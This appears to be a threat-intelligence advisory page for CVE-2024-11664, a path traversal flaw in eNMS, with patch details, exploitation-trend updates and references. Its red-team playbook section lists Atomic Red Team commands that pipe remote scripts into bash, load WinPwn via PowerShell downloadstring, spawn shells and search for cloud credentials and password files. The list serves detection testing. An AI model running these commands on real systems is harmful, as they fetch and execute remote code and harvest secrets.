CVE-2024-11664
Overview
This vulnerability is a path traversal flaw located in the multiselect_filtering function within the eNMS/controller.py file, part of the TGZ File Handler component. The root cause lies in insufficient validation of user-supplied input that allows manipulation of file paths. This improper sanitization enables attackers to traverse directories outside the intended scope of the application functionality.
Vulnerability Description
A vulnerability, which was classified as critical, has been found in eNMS up to 4.2. Affected by this issue is the function multiselect_filtering of the file eNMS/controller.py of the component TGZ File Handler. The manipulation leads to path traversal. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The patch is identified as 22b0b443acca740fc83b5544165c1f53eff3f529. It is recommended to apply a patch to fix this issue.
Impact
An attacker with network access and low privileges can exploit this vulnerability remotely to access arbitrary files on the server, potentially disclosing sensitive data or modifying critical files. The exploit does not require user interaction and leverages low complexity attack vectors with no user interface needed (CVSS: AV:N/AC:L/PR:L/UI:N). Successful exploitation compromises confidentiality, integrity, and availability of the system, enabling further lateral movement or disruption within the affected environment.
Solution
Apply the patch identified by commit 22b0b443acca740fc83b5544165c1f53eff3f529 available at https://github.com/eNMS-automation/eNMS/pull/419/commits/22b0b443acca740fc83b5544165c1f53eff3f529 to all affected eNMS installations up to version 4.2. This update corrects input validation in the multiselect_filtering function of the TGZ File Handler component. Refer to the official eNMS GitHub repository for detailed patch application instructions and verify version compliance post-update.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in the eNMS software, specifically within the multiselect_filtering function located in the eNMS/controller.py file. This flaw allows for path traversal, which enables an attacker to manipulate file paths and potentially access sensitive files outside the intended directory structure. The vulnerability arises from improper validation of user input, which can be exploited to traverse the filesystem. This flaw is particularly concerning as it can be exploited remotely, allowing attackers to execute their malicious actions without physical access to the affected system.
The primary attack vector involves sending crafted requests to the eNMS application that exploit the path traversal vulnerability. By manipulating the input parameters, an attacker can navigate the filesystem and access files that should be restricted. For instance, an attacker could potentially retrieve configuration files, sensitive data, or even execute arbitrary code if the application has sufficient permissions. Given the critical nature of this vulnerability, it is essential for organizations using eNMS to understand the potential exploitation scenarios, which could include data breaches, unauthorized access to sensitive information, or even complete system compromise.
The real-world impact of this vulnerability can be significant for businesses relying on eNMS for network management. A successful exploitation could lead to severe data breaches, loss of customer trust, and potential regulatory penalties depending on the nature of the compromised data. The financial implications could also be substantial, including costs associated with incident response, remediation, and potential legal liabilities. Furthermore, the public disclosure of this vulnerability increases the urgency for organizations to act, as malicious actors are likely to develop and deploy exploits quickly.
To effectively detect and mitigate this vulnerability, organizations should prioritize the application of the provided patch, which addresses the flaw and secures the affected function. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. Additionally, implementing robust input validation and sanitization measures can help prevent similar vulnerabilities in the future. Organizations should also consider employing intrusion detection systems (IDS) to monitor for unusual patterns of access that may indicate an attempted exploitation of this vulnerability. Conducting regular security assessments and penetration testing can further enhance an organization's ability to identify and remediate vulnerabilities proactively.
In conclusion, the critical vulnerability in eNMS represents a serious threat to organizations utilizing this software. The ability for an attacker to exploit path traversal remotely poses significant risks, including data breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take informed steps to mitigate the risks associated with this vulnerability. Timely patching, combined with proactive security measures, will be essential in safeguarding against exploitation and maintaining the integrity of network management systems.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-11664, rising by over 30% in recent assessments. This upward trend, coupled with a steady week-over-week increase, indicates growing confidence within the attacker community regarding the feasibility and impact of exploiting this path traversal vulnerability in eNMS. Although no new exploit variants or active campaigns have been detected by our telemetry, the elevated EPSS score suggests that threat actors are increasingly prioritizing this vulnerability in their exploit development pipelines. This shift elevates the overall threat level, signaling that organizations relying on eNMS should anticipate heightened targeting attempts. The absence of confirmed exploit deployments does not diminish the urgency, as the public disclosure and patch availability create a narrow window during which unpatched systems remain highly susceptible to compromise. Consequently, the risk environment for this vulnerability has intensified, warranting continued vigilance and monitoring for emerging exploitation patterns.
Update 2 — July 11, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-11664, with our telemetry indicating the first confirmed sighting of exploitation attempts in the wild. This development signifies a transition from theoretical risk to active targeting, underscoring that threat actors have begun operationalizing the publicly disclosed exploit. Although no new exploit variants or ransomware group affiliations have been identified, the emergence of live exploitation attempts elevates the immediacy of the threat. Defenders should recognize that this shift increases the likelihood of successful intrusions against unpatched eNMS deployments, as adversaries capitalize on the vulnerability’s critical severity and remote attack vector. Consequently, the overall risk posture for CVE-2024-11664 has intensified, warranting heightened monitoring and prioritization within security operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Enms | Enms | All |
cpe:2.3:a:enms:enms:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11664 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.285986 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.285986 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.447374 |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/eNMS-automation/eNMS/pull/419 |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/eNMS-automation/eNMS/pull/419#issuecomment-2495640750 |
| mega.nz |
GitHub CVE
exploit
|
https://mega.nz/folder/ZhIiDQaI#TUJCRV-XN41L-WEVAu0sWg |
| github.com |
GitHub CVE
issue-tracking
patch
|
https://github.com/eNMS-automation/eNMS/pull/419/commits/22b0b443acca740fc83b5544165c1f53eff3f529 |
| youtube.com |
GitHub CVE
media-coverage
|
https://www.youtube.com/watch?v=FJVFtNb4_qA |